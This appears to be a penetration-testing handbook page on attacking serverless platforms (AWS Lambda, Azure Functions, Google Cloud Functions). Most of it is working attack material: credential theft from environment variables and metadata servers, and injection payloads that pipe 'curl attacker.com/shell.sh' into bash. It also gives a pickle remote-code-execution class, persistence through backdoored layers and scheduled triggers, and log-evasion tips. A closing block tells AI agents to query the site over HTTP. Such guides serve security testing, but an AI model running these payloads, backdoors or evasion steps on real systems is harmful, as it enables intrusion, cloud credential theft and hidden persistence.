# Serverless Security

## Overview

Serverless computing (Functions as a Service) introduces unique security challenges. This section covers exploitation techniques for AWS Lambda, Azure Functions, and Google Cloud Functions.

## AWS Lambda

### Enumeration

```bash
# List Lambda functions
aws lambda list-functions --region us-east-1

# Get function details
aws lambda get-function --function-name <function-name>

# Get function configuration (env vars may contain secrets)
aws lambda get-function-configuration --function-name <function-name>

# List event source mappings
aws lambda list-event-source-mappings

# Get function policy
aws lambda get-policy --function-name <function-name>

# List layers (shared code/dependencies)
aws lambda list-layers
aws lambda get-layer-version --layer-name <layer-name> --version-number <version>
```

### Lambda Environment Variables

```bash
# Environment variables often contain:
# - Database connection strings
# - API keys
# - AWS credentials (though IAM roles are preferred)
# - Encryption keys

# Extract from compromised function
aws lambda get-function-configuration --function-name <name> --query 'Environment.Variables'

# Common sensitive variable names
# DB_PASSWORD, API_KEY, SECRET_KEY, AWS_ACCESS_KEY_ID, JWT_SECRET, ENCRYPTION_KEY
```

### Lambda IAM Role Abuse

```bash
# Lambda functions have IAM roles attached
# If overly permissive, can be abused

# Get the execution role
aws lambda get-function --function-name <name> --query 'Configuration.Role'

# Check what the role can do
aws iam get-role-policy --role-name <role-name> --policy-name <policy-name>
aws iam list-attached-role-policies --role-name <role-name>

# If you can invoke the function, use it to:
# - Access S3 buckets
# - Query DynamoDB
# - Call other AWS services
# - Pivot to other resources
```

### Event Injection

```bash
# Lambda can be triggered by various events
# Injecting malicious payloads into event sources

# API Gateway (HTTP trigger)
curl -X POST https://api.execute-api.region.amazonaws.com/prod/function \
  -d '{"__proto__": {"admin": true}}'

# S3 trigger - upload malicious file
# Filename with command injection
aws s3 cp malicious.txt "s3://bucket/; curl attacker.com/shell.sh | bash #.txt"

# SNS/SQS - inject malicious message
aws sns publish --topic-arn arn:aws:sns:region:account:topic \
  --message '{"command": "$(curl attacker.com/shell.sh | bash)"}'

# CloudWatch Events - if you can create rules
aws events put-rule --name "backdoor" --schedule-expression "rate(5 minutes)"
```

### Cold Start Information Disclosure

```bash
# Lambda containers are reused
# Previous invocation data might persist in /tmp

# In malicious function code:
import os
# List /tmp contents
print(os.listdir('/tmp'))
# Read previous files
for f in os.listdir('/tmp'):
    print(open(f'/tmp/{f}').read())
```

### Lambda Layer Attacks

```bash
# Layers are shared code across functions
# If you can modify a layer, you compromise all functions using it

# List layers a function uses
aws lambda get-function --function-name <name> --query 'Configuration.Layers'

# If you have lambda:PublishLayerVersion
# Create malicious layer with backdoored dependencies

# Dependency confusion in layers
# If function imports from layer, create malicious package
```

## Azure Functions

### Enumeration

```bash
# List Function Apps
az functionapp list --output table

# Get function app details
az functionapp show --name <app-name> --resource-group <rg>

# List functions in app
az functionapp function list --name <app-name> --resource-group <rg>

# Get app settings (environment variables)
az functionapp config appsettings list --name <app-name> --resource-group <rg>

# Get connection strings
az functionapp config connection-string list --name <app-name> --resource-group <rg>

# Get function keys
az functionapp function keys list --name <app-name> --resource-group <rg> --function-name <function>
```

### Managed Identity Exploitation

```bash
# From inside compromised function, get tokens
curl -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/"

# Use token for Azure management
az login --identity
az resource list

# Access Key Vault
curl -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://vault.azure.net/"
```

### Kudu Console Access

```bash
# Kudu provides debug console for Azure App Service/Functions
# https://<app-name>.scm.azurewebsites.net

# If you have deployment credentials:
# - Browse file system
# - Execute commands via Debug Console
# - Download function source code
# - View environment variables

# Download entire site
curl -u 'username:password' https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ -o site.zip
```

### HTTP Trigger Vulnerabilities

```bash
# Check for unauthenticated triggers
curl https://<app>.azurewebsites.net/api/<function>

# Authorization levels:
# - anonymous: No key required
# - function: Function-specific key
# - admin: Master key only

# If you find function key, use it:
curl "https://<app>.azurewebsites.net/api/<function>?code=<function-key>"
```

## Google Cloud Functions

### Enumeration

```bash
# List functions
gcloud functions list

# Describe function
gcloud functions describe <function-name> --region <region>

# Get IAM policy
gcloud functions get-iam-policy <function-name> --region <region>

# View source (if you have access)
gcloud functions describe <function-name> --format='value(sourceArchiveUrl)'

# List environment variables
gcloud functions describe <function-name> --format='value(environmentVariables)'
```

### Service Account Abuse

```bash
# GCF uses service accounts
# From inside function, access metadata server

curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Use token
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | jq -r '.access_token')

curl -H "Authorization: Bearer $TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=<project-id>"
```

### Pub/Sub Event Injection

```bash
# If function is triggered by Pub/Sub
# Inject malicious messages

gcloud pubsub topics publish <topic> --message '{"payload": "malicious"}'

# If you control the publisher, inject arbitrary data
```

## Common Vulnerabilities

### Insecure Deserialization

```python
# Lambda/Functions often deserialize input
# Python pickle, Java serialization, Node.js

# Python pickle RCE
import pickle
import base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Send as input to vulnerable function
```

### SSRF via Functions

```bash
# Functions often make HTTP requests
# Use to access internal services

# AWS metadata
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# Azure metadata
{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}

# GCP metadata
{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}

# Internal services
{"url": "http://internal-api.local/admin"}
```

### Prototype Pollution (Node.js)

```javascript
// Many serverless functions use Node.js
// Prototype pollution can lead to RCE

// Malicious input
{
  "__proto__": {
    "shell": "/bin/bash",
    "NODE_OPTIONS": "--require /proc/self/environ"
  }
}

// Or
{
  "constructor": {
    "prototype": {
      "env": {"AAAA": "require('child_process').exec('curl attacker.com')"}
    }
  }
}
```

### Command Injection

```bash
# Functions often execute system commands
# Inject via input parameters

# Common injection points:
# - Filename parameters
# - URL parameters
# - User-supplied commands

# Examples
{"filename": "file.txt; curl attacker.com/shell.sh | bash"}
{"command": "ls -la $(curl attacker.com/shell.sh | bash)"}
{"url": "http://example.com`id`"}
```

### Dependency Vulnerabilities

```bash
# Serverless functions use third-party dependencies
# Vulnerable dependencies = vulnerable function

# Check for known vulnerabilities
# Node.js
npm audit
snyk test

# Python
pip-audit
safety check

# Look for outdated runtime versions
# Lambda supports multiple Python/Node versions
# Older versions may have known vulnerabilities
```

## Persistence Techniques

### Lambda Layers for Persistence

```bash
# Create malicious layer
# Intercept function calls or add backdoor

# Create layer with backdoored dependency
mkdir -p python/lib/python3.9/site-packages/
# Add malicious code to a common dependency
zip -r layer.zip python/

aws lambda publish-layer-version \
  --layer-name "requests-layer" \
  --zip-file fileb://layer.zip \
  --compatible-runtimes python3.9
```

### Event Source Persistence

```bash
# Create persistent triggers

# AWS - CloudWatch Events
aws events put-rule --name "backdoor" \
  --schedule-expression "rate(1 hour)"
aws events put-targets --rule "backdoor" \
  --targets "Id"="1","Arn"="arn:aws:lambda:region:account:function:backdoor"

# Azure - Timer trigger
# Deploy function with timer trigger

# GCP - Cloud Scheduler
gcloud scheduler jobs create http backdoor \
  --schedule="0 * * * *" \
  --uri="https://region-project.cloudfunctions.net/backdoor"
```

### Function Code Modification

```bash
# Modify function code to include backdoor

# AWS
aws lambda update-function-code \
  --function-name <function-name> \
  --zip-file fileb://backdoored.zip

# Azure
az functionapp deployment source config-zip \
  --name <app-name> \
  --resource-group <rg> \
  --src backdoored.zip

# GCP
gcloud functions deploy <function-name> \
  --source=./backdoored-code
```

## Detection Evasion

```bash
# Minimize logging
# AWS - Don't use console.log/print in malicious code
# Azure - Avoid Application Insights triggers
# GCP - Don't write to stdout for sensitive operations

# Use legitimate-looking function names
# "data-processor", "auth-handler", "log-aggregator"

# Blend with normal traffic patterns
# Don't make unusual API calls
# Match expected execution times

# Clean up /tmp after exploitation
rm -rf /tmp/*
```

## Tools

```bash
# Serverless Security Scanner
# https://github.com/puresec/serverless-security
serverless-security scan

# SLS-Dev-Tools
# https://github.com/Theodo-UK/sls-dev-tools
sls-dev-tools

# Prowler (AWS)
prowler -c lambda

# ScoutSuite (multi-cloud)
scout aws --services lambda
scout azure --services functionapps
scout gcp --services cloudfunctions

# SCAR - Serverless security scanner
# https://github.com/puresec/scar
```

## Resources

* [Serverless Security Top 10](https://github.com/puresec/sas-top-10)
* [AWS Lambda Security Best Practices](https://docs.aws.amazon.com/lambda/latest/dg/lambda-security.html)
* [Azure Functions Security](https://docs.microsoft.com/en-us/azure/azure-functions/security-concepts)
* [GCP Cloud Functions Security](https://cloud.google.com/functions/docs/securing)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/cloud/serverless.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
